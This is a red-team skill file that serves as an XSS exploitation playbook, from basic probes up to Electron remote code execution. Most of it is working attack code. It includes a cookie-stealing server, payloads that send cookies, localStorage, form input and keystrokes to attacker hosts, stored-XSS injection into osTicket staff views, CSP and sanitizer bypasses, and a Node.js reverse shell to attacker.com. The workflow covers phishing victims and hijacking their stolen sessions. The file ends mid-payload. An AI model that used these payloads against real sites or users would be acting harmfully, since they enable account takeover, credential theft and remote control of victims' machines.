---
name: rt-exploit-xss
description: "Cross-Site Scripting (XSS) skill. Covers Reflected XSS, Stored XSS, DOM-based XSS, mXSS, CSP bypass, XSS to session hijacking, XSS to RCE (in Electron). Tools: dalfox, XSS Hunter, Burp Suite. Includes payload library and real-world cookie stealing examples."
---

# rt-exploit-xss — Cross-Site Scripting Exploitation

## 1. Overview

Cross-Site Scripting (XSS) allows an attacker to inject malicious scripts into web pages viewed by other users. Despite being decades old, XSS remains in the OWASP Top 10 and is consistently found in enterprise applications, support portals, CMS platforms, and custom web apps. A successful XSS can escalate from session theft to full account takeover, internal network pivoting (via BeEF), or even RCE when the target is an Electron application.

### XSS Taxonomy

| Type | Persistence | Vector | Impact |
|------|-------------|--------|--------|
| Reflected XSS | None (per-request) | URL parameter, header | Requires social engineering |
| Stored XSS | Persistent | Form input, file upload, API | Self-propagating, affects all visitors |
| DOM-based XSS | None/Persistent | Client-side JS source/sink | Bypasses server-side filters |
| mXSS (Mutation XSS) | Varies | HTML parser quirks | Bypasses sanitization libraries |
| Blind XSS | Persistent | Admin panels, logs, tickets | High-value targets (admins/SOC) |

### Core Concepts

- **Source**: Where attacker-controlled data enters the DOM (e.g., `location.hash`, `document.referrer`, `URLSearchParams`)
- **Sink**: Where data is rendered unsafely (e.g., `innerHTML`, `document.write`, `eval`, `setTimeout` with string arg)
- **Context**: HTML context, attribute context, JavaScript context, URL context — each requires different payloads
- **Reflection point**: Where the input appears in the server response

### Tools Required

```bash
# Install dalfox (Go-based XSS scanner)
go install github.com/hahwul/dalfox/v2@latest

# Install XSS Hunter (self-hosted)
git clone https://github.com/mandatoryprogrammer/xsshunter-express
cd xsshunter-express && npm install

# Burp Suite Community/Pro — https://portswigger.net/burp
# Python 3.x for custom payloads and servers
# Node.js for XSS Hunter Express

# Optional: BeEF (Browser Exploitation Framework)
git clone https://github.com/beefproject/beef
cd beef && bundle install
```

---

## 2. Skill Levels

### BEGINNER — Manual Injection, Basic Payloads

At this level you identify obvious XSS entry points and confirm execution with alert/prompt probes.

**Objectives:**
- Identify input fields that reflect user data
- Confirm XSS execution in basic contexts
- Document findings with screenshots

**Starting checklist:**
1. Map all input vectors: URL params, form fields, HTTP headers (`Referer`, `User-Agent`, `X-Forwarded-For`)
2. Submit a unique canary string (e.g., `xss1337test`) and search the response
3. Note the HTML context of the reflection
4. Apply context-appropriate payload

**Basic payload set:**

```html
<!-- Basic alert probes -->
<script>alert(1)</script>
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>

<!-- Attribute context probes -->
" onmouseover="alert(1)
' onfocus='alert(1)' autofocus='
"><img src=x onerror=alert(1)>

<!-- JavaScript context probes -->
';alert(1)//
\';alert(1)//
</script><script>alert(1)</script>
```

**Manual testing with curl:**

```bash
# Test a GET parameter
curl -s "https://target.com/search?q=<script>alert(1)</script>" | grep -i "alert"

# Test with URL encoding
curl -s "https://target.com/search?q=%3Cscript%3Ealert%281%29%3C%2Fscript%3E" | grep -i "script"

# Check if input is reflected in response
curl -s "https://target.com/search?q=CANARY_XSS_1337" | grep "CANARY_XSS_1337"
```

**Browser-based confirmation:**

```javascript
// Paste in browser console to detect DOM sinks
document.querySelectorAll('*').forEach(el => {
  if (el.innerHTML.includes('CANARY_XSS_1337')) {
    console.log('Sink found:', el.tagName, el.innerHTML.substring(0, 100));
  }
});
```

---

### INTERMEDIATE — Automated Scanning, Context-Aware Payloads

At this level you use dalfox for automated discovery, understand all five XSS contexts, and begin building cookie-stealing payloads.

**Objectives:**
- Run dalfox against authenticated targets
- Identify DOM sources and sinks manually
- Deliver a basic cookie-stealing payload
- Test stored XSS in ticket/portal systems

**dalfox — Core Usage:**

```bash
# Basic URL scan
dalfox url "https://target.com/search?q=test"

# Scan with custom headers (authenticated)
dalfox url "https://target.com/search?q=test" \
  --header "Cookie: session=abc123; auth=xyz" \
  --header "Authorization: Bearer eyJhbGci..."

# Scan from a file of URLs
dalfox file urls.txt

# Pipe from waybackurls / gau
gau target.com | grep "=" | dalfox pipe

# Scan with custom payload
dalfox url "https://target.com/page?id=1" \
  --custom-payload payloads.txt

# Output results to file
dalfox url "https://target.com/search?q=test" \
  --output results.json --format json

# Blind XSS with callback URL
dalfox url "https://target.com/search?q=test" \
  --blind "https://xsshunter.yourdomain.com/probe"

# Scan POST request (save request from Burp)
dalfox file request.txt --request-method POST

# Skip specific parameters
dalfox url "https://target.com/page?id=1&csrf=abc" --skip-param csrf

# Set timeout and concurrency
dalfox url "https://target.com/search?q=test" \
  --timeout 10 --worker 5

# WAF detection mode
dalfox url "https://target.com/search?q=test" --waf-evasion
```

**dalfox with Burp request file:**

```bash
# Save raw Burp request to req.txt, then:
dalfox file req.txt \
  --proxy http://127.0.0.1:8080 \
  --header "Cookie: session=YOURSESSION"
```

**Context-specific intermediate payloads:**

```html
<!-- HTML tag context -->
<details open ontoggle=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<marquee onstart=alert(1)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>

<!-- Attribute context (inside double quotes) -->
" autofocus onfocus="alert(1)
" onblur="alert(1)" tabindex="1
" style="animation-name:x" onanimationstart="alert(1)

<!-- JavaScript string context -->
\x3cscript\x3ealert(1)\x3c/script\x3e
<script>alert(1)</script>
<\/script><script>alert(1)<\/script>

<!-- Template literal context -->
`${alert(1)}`
`;alert(1)//

<!-- URL context (href, src) -->
javascript:alert(1)
javascript:void(alert(1))
data:text/html,<script>alert(1)</script>
```

**Basic cookie stealer — hosted exfiltration:**

```python
#!/usr/bin/env python3
# cookie_server.py — run on your VPS
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse
import datetime

class CookieHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        stolen = urllib.parse.unquote(self.path)
        ts = datetime.datetime.utcnow().isoformat()
        print(f"[{ts}] {self.client_address[0]} -> {stolen}")
        with open("stolen_cookies.log", "a") as f:
            f.write(f"{ts} | {self.client_address[0]} | {stolen}\n")
        self.send_response(200)
        self.send_header("Access-Control-Allow-Origin", "*")
        self.end_headers()
        self.wfile.write(b"ok")

    def log_message(self, fmt, *args):
        pass  # suppress default logs

HTTPServer(("0.0.0.0", 8888), CookieHandler).serve_forever()
```

```bash
# Start server
python3 cookie_server.py &

# XSS payload that calls back
# Replace 1.2.3.4 with your VPS IP
```

```html
<script>
  var img = new Image();
  img.src = "http://1.2.3.4:8888/?c=" + encodeURIComponent(document.cookie);
</script>
```

---

### ADVANCED — Blind XSS, Stored XSS, mXSS, CSP Bypass

At this level you deploy persistent XSS in support portals, bypass WAFs and CSP, use XSS Hunter for blind XSS, and perform session hijacking.

**Objectives:**
- Deploy stored XSS in osTicket and similar helpdesk portals
- Configure and use XSS Hunter Express for blind XSS
- Bypass common CSP policies
- Perform full session hijacking workflow

#### XSS Hunter Express — Self-Hosted Setup

```bash
# On your VPS (Ubuntu 22.04)
git clone https://github.com/mandatoryprogrammer/xsshunter-express
cd xsshunter-express
cp config.sample.js config.js

# Edit config.js
nano config.js
# Set: HOSTNAME = "xss.yourdomain.com"
# Set: PORT = 443
# Set: ADMIN_PASSWORD = "YourStrongPass123!"

# Install dependencies
npm install

# Set up with nginx + certbot for HTTPS
sudo apt install nginx certbot python3-certbot-nginx -y
sudo certbot --nginx -d xss.yourdomain.com

# Run XSS Hunter
node app.js &

# Your probe URL: https://xss.yourdomain.com/probe
```

**XSS Hunter payload (inject this anywhere):**

```html
<!-- Standard XSS Hunter payload -->
<script src="https://xss.yourdomain.com/payload.js"></script>

<!-- Shorter version for attribute contexts -->
"><script src=//xss.yourdomain.com/x.js></script>

<!-- Event handler version -->
<img src=x onerror="var s=document.createElement('script');s.src='//xss.yourdomain.com/x.js';document.body.appendChild(s)">

<!-- No-script version using CSS import -->
<link rel=stylesheet href="//xss.yourdomain.com/css">
```

#### Stored XSS in osTicket

osTicket is commonly deployed in corporate IT helpdesk environments. Ticket subjects, bodies, and custom fields are common injection points.

```bash
# Enumerate osTicket installation
curl -s "https://helpdesk.target.com/" | grep -i "osTicket\|Powered by"

# Common vulnerable versions: osTicket < 1.17.2
# CVE-2021-35587, multiple stored XSS in ticket fields
```

**osTicket attack workflow:**

```bash
# Step 1: Create a ticket via API or web form
curl -X POST "https://helpdesk.target.com/api/tickets.json" \
  -H "X-API-Key: YOUR_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "alert": true,
    "autorespond": true,
    "source": "API",
    "name": "Test User",
    "email": "test@test.com",
    "subject": "Normal Subject",
    "message": "data:text/html,<script src=//xss.yourdomain.com/x.js></script>"
  }'

# Step 2: Inject via ticket reply (authenticated)
curl -X POST "https://helpdesk.target.com/tickets.php?id=1" \
  -H "Cookie: PHPSESSID=yoursession" \
  --data-urlencode "reply=<img src=x onerror=\"var s=document.createElement('script');s.src='//xss.yourdomain.com/x.js';document.body.appendChild(s)\">"
```

**osTicket injection points to test:**

```
- Ticket subject line
- Ticket message body (HTML allowed in some configs)
- Custom field values (department-specific fields)
- Attachment filename
- User name field
- Organization name field
- Internal notes (staff-only, high-value blind XSS)
- Canned response subject
```

**Payload for internal staff notes (blind XSS high-value):**

```html
<!-- This fires when a support agent views the ticket -->
<img src=x onerror="
  fetch('https://xss.yourdomain.com/collect', {
    method: 'POST',
    body: JSON.stringify({
      cookies: document.cookie,
      url: window.location.href,
      localStorage: JSON.stringify(localStorage),
      sessionStorage: JSON.stringify(sessionStorage),
      title: document.title
    }),
    headers: {'Content-Type': 'application/json'}
  });
">
```

#### CSP Bypass Techniques

**Step 1: Identify and parse the CSP:**

```bash
# Retrieve CSP header
curl -sI "https://target.com" | grep -i "content-security-policy"

# Analyze CSP with Google's CSP Evaluator API
curl -s "https://csp-evaluator.withgoogle.com/getCSPEvaluation" \
  -H "Content-Type: application/json" \
  -d '{"csp": "script-src '"'"'self'"'"' https://cdn.example.com; object-src '"'"'none'"'"'"}'
```

**CSP Bypass — JSONP Endpoints:**

```bash
# Find JSONP endpoints on whitelisted domains
# If CSP allows https://apis.google.com
# JSONP endpoint: https://accounts.google.com/o/oauth2/revoke?token=1&callback=alert(1)

# If CSP allows https://ajax.googleapis.com
# <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.min.js"></script>
# Then use AngularJS template injection: {{constructor.constructor('alert(1)')()}}
```

**CSP Bypass — AngularJS (script-src allows Angular CDN):**

```html
<!-- Works when angular.js is whitelisted in CSP -->
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
{{constructor.constructor('alert(document.cookie)')()}}

<!-- AngularJS sandbox escape (1.x) -->
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
```

**CSP Bypass — Nonce/Hash Prediction:**

```bash
# Check if nonce is static (reused across requests)
for i in {1..5}; do
  curl -sI "https://target.com/" | grep "nonce-"
done
# If nonce is the same each request — you can hardcode it in your payload
```

**CSP Bypass — script-src 'unsafe-inline' with nonce (steal nonce):**

```html
<!-- If the page uses nonces but also has a DOM XSS sink -->
<!-- Read the nonce from an existing script tag -->
<script>
  var nonce = document.querySelector('script[nonce]').nonce;
  var s = document.createElement('script');
  s.nonce = nonce;
  s.textContent = 'alert(document.cookie)';
  document.head.appendChild(s);
</script>
```

**CSP Bypass — base-uri injection:**

```html
<!-- If base-uri is not set in CSP, inject a base tag -->
<!-- This makes all relative script sources point to attacker domain -->
<base href="https://attacker.com/">
```

**CSP Bypass — object-src / data: URIs:**

```html
<!-- If object-src allows data: -->
<object data="data:text/html,<script>alert(1)</script>"></object>
<embed src="data:text/html,<script>alert(1)</script>">
```

**CSP Bypass — trusted whitelisted CDNs:**

```bash
# Common bypasses via whitelisted CDNs
# cloudflare.com/ajax/libs → find JSONP
# unpkg.com → host malicious package (typosquat)
# jsdelivr.net → can proxy arbitrary GitHub content

# Check: https://github.com/bhattsameer/Bombers for JSONP endpoints
# Tool: https://github.com/RUB-NDS/CSP-Bypass
```

**CSP Bypass — 'strict-dynamic' with DOM clobbering:**

See DOM Clobbering section below.

#### Session Hijacking Payload (Full)

```javascript
// Full session hijacking payload
// Exfiltrates cookies, localStorage, sessionStorage, DOM content, screenshot attempt
(function() {
  var data = {
    url: window.location.href,
    title: document.title,
    referrer: document.referrer,
    cookies: document.cookie,
    localStorage: (function() {
      var obj = {};
      for (var i = 0; i < localStorage.length; i++) {
        var k = localStorage.key(i);
        obj[k] = localStorage.getItem(k);
      }
      return JSON.stringify(obj);
    })(),
    sessionStorage: (function() {
      var obj = {};
      for (var i = 0; i < sessionStorage.length; i++) {
        var k = sessionStorage.key(i);
        obj[k] = sessionStorage.getItem(k);
      }
      return JSON.stringify(obj);
    })(),
    innerHTML: document.documentElement.innerHTML.substring(0, 5000)
  };

  // Primary exfil via fetch
  fetch('https://xss.yourdomain.com/collect', {
    method: 'POST',
    mode: 'no-cors',
    body: JSON.stringify(data),
    headers: {'Content-Type': 'application/json'}
  }).catch(function() {
    // Fallback via image beacon
    new Image().src = 'https://xss.yourdomain.com/b?' + encodeURIComponent(JSON.stringify(data)).substring(0, 2000);
  });
})();
```

---

### EXPERT — DOM Clobbering, mXSS, XSS to RCE (Electron), Polyglots

At this level you exploit subtle parser behaviors, chain XSS to higher-impact vulnerabilities, and bypass state-of-the-art sanitizers.

**Objectives:**
- Exploit DOMPurify bypasses via mXSS
- Use DOM clobbering to break application logic
- Chain XSS to RCE in Electron apps
- Build polyglot payloads for multi-context injection
- Automate with custom dalfox payloads and pipeline integration

#### mXSS (Mutation XSS)

mXSS occurs when sanitized HTML is mutated by the browser's HTML parser into executable XSS. DOMPurify has had several mXSS bypasses.

```html
<!-- mXSS via SVG foreignObject (bypassed DOMPurify < 2.3.3) -->
<svg><p><style><g title="</style><img src=x onerror=alert(1)>">

<!-- mXSS via noscript + AngularJS -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- mXSS via SVG animation (bypassed DOMPurify 2.x) -->
<svg><animate onbegin=alert(1) attributeName=x dur=1s>

<!-- mXSS via table structure mutation -->
<table><caption><p></p></caption></table>
<!-- browser mutates to: <table></table><caption><p></p></caption> -->
<!-- useful when innerHTML assignment causes re-parsing -->

<!-- mXSS via math/MathML -->
<math><mtext></p><img src=1 onerror=alert(1)></mtext></math>

<!-- DOMPurify 2.4.0 bypass (CVE-2022-25887) -->
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><image href='1' onerror='alert(1)'/></svg>#x">
```

**Testing mXSS with Python:**

```python
#!/usr/bin/env python3
# test_mxss.py — check if a sanitizer is vulnerable to mXSS
import subprocess
import json

payloads = [
    "<svg><p><style><g title=\"</style><img src=x onerror=alert(1)>\">",
    "<math><mtext></p><img src=1 onerror=alert(1)></mtext></math>",
    "<svg><animate onbegin=alert(1) attributeName=x dur=1s>",
    "<noscript><p title=\"</noscript><img src=x onerror=alert(1)>\">",
]

for p in payloads:
    print(f"Testing: {p[:80]}...")
    # Use headless browser to test
    # Replace with your testing endpoint
```

#### DOM Clobbering

DOM clobbering overwrites global JavaScript variables by injecting HTML elements with `id` or `name` attributes matching those variable names.

```html
<!-- Clobber window.x -->
<img id=x>
<!-- window.x is now the img element, not undefined -->

<!-- Clobber nested property: window.config.debug -->
<form id=config><input id=debug value="true"></form>
<!-- window.config.debug == "true" as a string -->

<!-- Clobber document.getElementById override via anchor -->
<a id=anchor name=anchor href="javascript:alert(1)">

<!-- Classic DOM clobbering for XSS chain -->
<!-- If app does: var url = window.config || '/default'; location = url; -->
<img id=config src=x name=config>
<!-- Now window.config is the img element, which is truthy -->
<!-- location = [object HTMLImageElement] — may trigger navigation -->

<!-- Clobber with custom toString -->
<!-- Not directly possible, but prototype pollution can assist -->

<!-- Clobbering DOMPurify's window.document (advanced) -->
<!-- CVE-2020-26870: bypass via clobbering currentScript.ownerDocument -->
<svg><use href="#"><linearGradient id=currentScript><stop offset=0 id=ownerDocument></linearGradient></use></svg>
```

**DOM Clobbering to XSS — Full Example:**

```html
<!-- Target code (vulnerable pattern):
  var cfg = window.APP_CONFIG || {};
  var endpoint = cfg.apiEndpoint || '/api';
  document.getElementById('widget').innerHTML = '<script src="' + endpoint + '/widget.js"><\/script>';
-->

<!-- Attack: inject these elements into a stored XSS context -->
<form id=APP_CONFIG>
  <input id=apiEndpoint value="https://attacker.com/malicious">
</form>
<!-- Now APP_CONFIG.apiEndpoint = "https://attacker.com/malicious" -->
<!-- Script loads from attacker's server -->
```

#### XSS to RCE in Electron Applications

Electron apps run Chromium + Node.js. If `nodeIntegration: true` or `contextIsolation: false`, XSS = RCE.

```bash
# Check Electron app for nodeIntegration
strings target-app.exe | grep -i "nodeIntegration\|contextIsolation\|enableRemoteModule"

# Check asar package
npx asar extract app.asar extracted/
grep -r "nodeIntegration\|contextIsolation" extracted/
grep -r "webPreferences" extracted/
```

**XSS to RCE payload (nodeIntegration: true):**

```javascript
// If nodeIntegration is enabled, require() is available in renderer
// These run as OS-level code

// Windows — spawn calc (PoC)
require('child_process').exec('calc.exe');

// Windows — reverse shell
require('child_process').exec('powershell -e BASE64ENCODEDPAYLOAD');

// macOS
require('child_process').exec('open /Applications/Calculator.app');

// Read sensitive files
var fs = require('fs');
var data = fs.readFileSync('/etc/passwd', 'utf8');
fetch('https://xss.yourdomain.com/exfil?d=' + encodeURIComponent(data));

// Enumerate home directory
var fs = require('fs');
var files = fs.readdirSync(require('os').homedir());
fetch('https://xss.yourdomain.com/exfil?files=' + encodeURIComponent(JSON.stringify(files)));

// Full reverse shell via Node.js
(function(){
  var net = require('net');
  var cp = require('child_process');
  var sh = cp.spawn('/bin/sh', []);
  var client = new net.Socket();
  client.connect(4444, 'attacker.com', function(){
    client.pipe(sh.stdin);
    sh.stdout.pipe(client);
    sh.stderr.pipe(client);
  });
  return /a/;
})();
```

**XSS via contextIsolation bypass (Electron < 12):**

```javascript
// If contextIsolation is false but nodeIntegration is false
// Use window.top or frame escape
window.top.require('child_process').exec('id');

// Via prototype pollution
Object.prototype.shell = 'calc.exe';
```

#### Polyglot XSS Payloads

Polyglots work across multiple injection contexts simultaneously.

```html
<!-- Context: HTML, attribute, JS string, URL -->
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e

<!-- Universal polyglot (Gareth Heyes) -->
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>

<!-- Short polyglot -->
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><Script>prompt(1)</Script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id)>'">

<!-- For JSON context -->
<script>alert(1)</script>
```

---

## 3. Step-by-Step Attack Workflow

### Phase 1: Reconnaissance

```bash
# Step 1: Collect all URLs with parameters
gau target.com 2>/dev/null | grep "=" | sort -u > urls_with_params.txt
waybackurls target.com 2>/dev/null | grep "=" | sort -u >> urls_with_params.txt
cat urls_with_params.txt | sort -u > all_param_urls.txt

# Step 2: Identify JavaScript files for DOM XSS sinks
gau target.com | grep "\.js$" | sort -u > js_files.txt

# Step 3: Download and analyze JS files for sinks
while read url; do
  curl -s "$url" | grep -E "innerHTML|outerHTML|document\.write|eval\(|setTimeout\(|setInterval\(|location\." >> sinks_found.txt
done < js_files.txt

# Step 4: Identify forms and input fields
curl -s "https://target.com" | grep -oP '(?i)<(input|textarea|select)[^>]*name="[^"]*"' | sort -u

# Step 5: Check HTTP security headers (look for missing/weak CSP)
curl -sI "https://target.com" | grep -iE "Content-Security-Policy|X-XSS-Protection|X-Frame-Options"
```

### Phase 2: Automated Scanning

```bash
# Step 6: Run dalfox against parameter URLs
cat all_param_urls.txt | dalfox pipe \
  --header "Cookie: session=YOURSESSION" \
  --blind "https://xss.yourdomain.com/probe" \
  --output xss_findings.json \
  --format json \
  --worker 10 \
  --timeout 15

# Step 7: Run dalfox against specific high-value endpoints
dalfox url "https://target.com/search?q=test&page=1" \
  --header "Cookie: session=YOURSESSION" \
  --blind "https://xss.yourdomain.com/probe" \
  --mining-dict \
  --mining-dom

# Step 8: Test POST parameters via Burp request file
# (save request from Burp Repeater as req.txt)
dalfox file req.txt \
  --proxy http://127.0.0.1:8080

# Step 9: DOM-specific scan
dalfox url "https://target.com/page" \
  --only-discovery \
  --mining-dom
```

### Phase 3: Manual Verification and Context Analysis

```bash
# Step 10: For each finding, determine context
# Open URL in browser with devtools
# View source to see exact reflection point
# Determine: HTML / attribute / JS / URL context

# Step 11: Verify with benign alert payload
# Replace FINDING with confirmed XSS URL
curl -s "FINDING_URL" | grep -i "alert\|onerror\|onload"

# Step 12: Test if HttpOnly flag prevents cookie theft
curl -sI "https://target.com/login" | grep -i "Set-Cookie"
# If HttpOnly is set, pivot to: session fixation, CSRF, or credential harvesting
```

### Phase 4: Exploitation

```bash
# Step 13: Set up cookie exfil server on VPS
python3 cookie_server.py &

# Step 14: Craft targeted payload based on context
# (see payload library below)

# Step 15: For stored XSS — inject via normal application flow
# (form submission, API call, ticket creation)

# Step 16: For reflected XSS — craft delivery URL
python3 -c "
import urllib.parse
payload = '<script>new Image().src=\"http://1.2.3.4:8888/?c=\"+encodeURIComponent(document.cookie)</script>'
base_url = 'https://target.com/search?q='
print(base_url + urllib.parse.quote(payload))
"

# Step 17: Deliver URL to target (phishing, QR code, shortened URL)

# Step 18: Monitor cookie server for incoming requests
tail -f stolen_cookies.log
```

### Phase 5: Post-Exploitation

```bash
# Step 19: Import stolen session cookie into browser
# Use EditThisCookie or Cookie-Editor extension
# Navigate to target and verify access

# Step 20: Enumerate accessible functionality as victim
# Screenshot admin panels, sensitive data

# Step 21: For Electron targets — verify RCE
# Inject Node.js payload, listen for callback

# Step 22: Document all findings for report
```

---

## 4. Specific Terminal Commands

### Environment Setup

```bash
# Set up attack environment
export TARGET="https://target.com"
export VPS_IP="1.2.3.4"
export XSS_HUNTER="https://xss.yourdomain.com"
export SESSION="your_session_cookie_value"

# Create working directory
mkdir -p ~/rtops/xss/{payloads,results,screenshots,evidence}
cd ~/rtops/xss

# Install required tools
go install github.com/hahwul/dalfox/v2@latest
go install github.com/lc/gau/v2/cmd/gau@latest
go install github.com/tomnomnom/waybackurls@latest
pip3 install requests beautifulsoup4
```

### URL Collection

```bash
# Comprehensive URL collection
gau --subs $TARGET | tee gau_urls.txt
waybackurls $TARGET | tee wayback_urls.txt
cat gau_urls.txt wayback_urls.txt | sort -u | grep "=" > param_urls.txt
wc -l param_urls.txt

# Filter for specific param types (high XSS probability)
grep -E "\?(q|search|query|s|keyword|term|name|title|msg|message|text|content|data|value|input|output|redirect|url|next|return|ref|page|id|cat|tag)=" param_urls.txt > high_value_params.txt
```

### dalfox Pipeline

```bash
# Full automated pipeline
cat high_value_params.txt | \
  dalfox pipe \
    --header "Cookie: session=$SESSION" \
    --blind "$XSS_HUNTER/probe" \
    --worker 20 \
    --timeout 10 \
    --output results/dalfox_$(date +%Y%m%d_%H%M).json \
    --format json \
    --no-spinner \
    2>&1 | tee results/dalfox_run.log

# Count findings
jq '.[] | select(.type == "G" or .type == "R")' results/dalfox_*.json | wc -l

# Extract confirmed XSS URLs
jq -r '.[] | select(.type == "G") | .param + " => " + .data' results/dalfox_*.json
```

### Custom Python Scanner

```python
#!/usr/bin/env python3
# xss_probe.py — lightweight reflected XSS scanner
import requests
import sys
from urllib.parse import urlparse, parse_qs, urlencode, urlunparse
from concurrent.futures import ThreadPoolExecutor

CANARY = "xss1337CANARY"
PAYLOADS = [
    f'<script>alert("{CANARY}")</script>',
    f'"><script>alert("{CANARY}")</script>',
    f"'><img src=x onerror=alert('{CANARY}')>",
    f'javascript:alert("{CANARY}")',
]
HEADERS = {"User-Agent": "Mozilla/5.0", "Cookie": "session=YOUR_SESSION"}
TIMEOUT = 10

def test_url(url):
    parsed = urlparse(url)
    params = parse_qs(parsed.query, keep_blank_values=True)
    if not params:
        return
    for param in params:
        for payload in PAYLOADS:
            test_params = dict(params)
            test_params[param] = [payload]
            new_query = urlencode(test_params, doseq=True)
            test_url_str = urlunparse(parsed._replace(query=new_query))
            try:
                r = requests.get(test_url_str, headers=HEADERS, timeout=TIMEOUT, verify=False)
                if CANARY in r.text:
                    print(f"[+] REFLECTED: {param} => {test_url_str}")
                    break
            except Exception as e:
                pass

if __name__ == "__main__":
    urls = open(sys.argv[1]).read().splitlines()
    with ThreadPoolExecutor(max_workers=20) as ex:
        ex.map(test_url, urls)
```

```bash
python3 xss_probe.py param_urls.txt 2>/dev/null | tee results/reflected_xss.txt
```

### JS Sink Analysis

```bash
# Download all JS and analyze for dangerous sinks
mkdir js_analysis && cd js_analysis

# Fetch JS files
while read url; do
  fname=$(echo "$url" | md5sum | cut -d' ' -f1).js
  curl -s "$url" -o "$fname"
done < ../js_files.txt

# Search for dangerous patterns
grep -rn "innerHTML\s*=" . | grep -v "//.*innerHTML" > sinks_innerHTML.txt
grep -rn "outerHTML\s*=" . >> sinks.txt
grep -rn "document\.write\s*(" . >> sinks.txt
grep -rn "eval\s*(" . >> sinks.txt
grep -rn "setTimeout\s*(" . | grep -v "function\|=>" >> sinks.txt
grep -rn "location\.(href\|assign\|replace)" . >> sinks.txt
grep -rn "src\s*=" . | grep "location\|window\|param\|query\|hash" >> sinks.txt

# Find sources
grep -rn "location\.hash" . > sources.txt
grep -rn "location\.search" . >> sources.txt
grep -rn "document\.referrer" . >> sources.txt
grep -rn "URLSearchParams" . >> sources.txt
grep -rn "window\.name" . >> sources.txt
grep -rn "postMessage" . >> sources.txt

wc -l sinks.txt sources.txt
```

---

## 5. Common Payloads and Examples

### Master Payload Library

```html
<!-- ===== TIER 1: BASIC PROBES ===== -->
<script>alert(1)</script>
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src="javascript:alert(1)">

<!-- ===== TIER 2: FILTER EVASION ===== -->
<!-- Case variation -->
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x OnErRoR=alert(1)>

<!-- No quotes -->
<img src=x onerror=alert(1) />
<svg/onload=alert(1)>

<!-- Encoded characters -->
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>
<svg onload=alert(1)>
<img src=x onerror=\x61\x6c\x65\x72\x74(1)>

<!-- Null bytes -->
<scr\x00ipt>alert(1)</scr\x00ipt>
<img \x00src=x onerror=alert(1)>

<!-- Whitespace alternatives -->
<svg%09onload=alert(1)>
<svg&#9;onload=alert(1)>
<img/src=x/onerror=alert(1)>

<!-- Nested tags (for stripping filters) -->
<scr<script>ipt>alert(1)</scr</script>ipt>
<img src=x o<b>nerror=alert(1)>

<!-- Double encoding -->
%253Cscript%253Ealert(1)%253C%252Fscript%253E

<!-- Unicode normalization -->
＜script＞alert(1)＜/script＞

<!-- ===== TIER 3: CONTEXT-SPECIFIC ===== -->
<!-- JavaScript string context with backslash escape -->
\';alert(1)//
\";alert(1)//
</script><script>alert(1)</script>

<!-- Template literal -->
`${alert(1)}`
${alert`1`}

<!-- Regex context -->
/</script><script>alert(1)</script>

<!-- CSS context -->
</style><script>alert(1)</script>
<style>@import'javascript:alert(1)'</style>
<div style="background:url('javascript:alert(1)')">

<!-- href/src URL context -->
javascript:alert(1)
javascript:void(alert(1))
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
vbscript:alert(1)

<!-- ===== TIER 4: WAF BYPASS ===== -->
<!-- Jsfuck (no letters) -->
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]](alert)(1)

<!-- Aurebesh.js style -->
(+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]])+[])[!+[]+!+[]]+...

<!-- ===== TIER 5: EXFILTRATION ===== -->
<!-- Cookie theft via image -->
<img src=x onerror="new Image().src='https://VPS/c?='+encodeURIComponent(document.cookie)">

<!-- Cookie theft via fetch -->
<script>fetch('https://VPS/steal?c='+btoa(document.cookie))</script>

<!-- Cookie + localStorage theft -->
<script>
(function(){
  var x={c:document.cookie,l:JSON.stringify(localStorage),u:location.href};
  new Image().src='https://VPS/x?d='+btoa(JSON.stringify(x));
})();
</script>

<!-- DOM content exfiltration (form fields, passwords) -->
<script>
var forms=document.querySelectorAll('form');
var data='';
forms.forEach(function(f){
  f.querySelectorAll('input').forEach(function(i){
    data+=i.name+'='+i.value+'&';
  });
});
new Image().src='https://VPS/form?d='+encodeURIComponent(data);
</script>

<!-- Keylogger -->
<script>
document.addEventListener('keydown',function(e){
  new Image().src='https://VPS/k?key='+encodeURIComponent(e.key)+'&url='+encodeURIComponent(location.href);
});
</script>

<!-- Screenshot via html2canvas -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/html2canvas/1.4.1/html2canvas.min.js"></script>
<script>
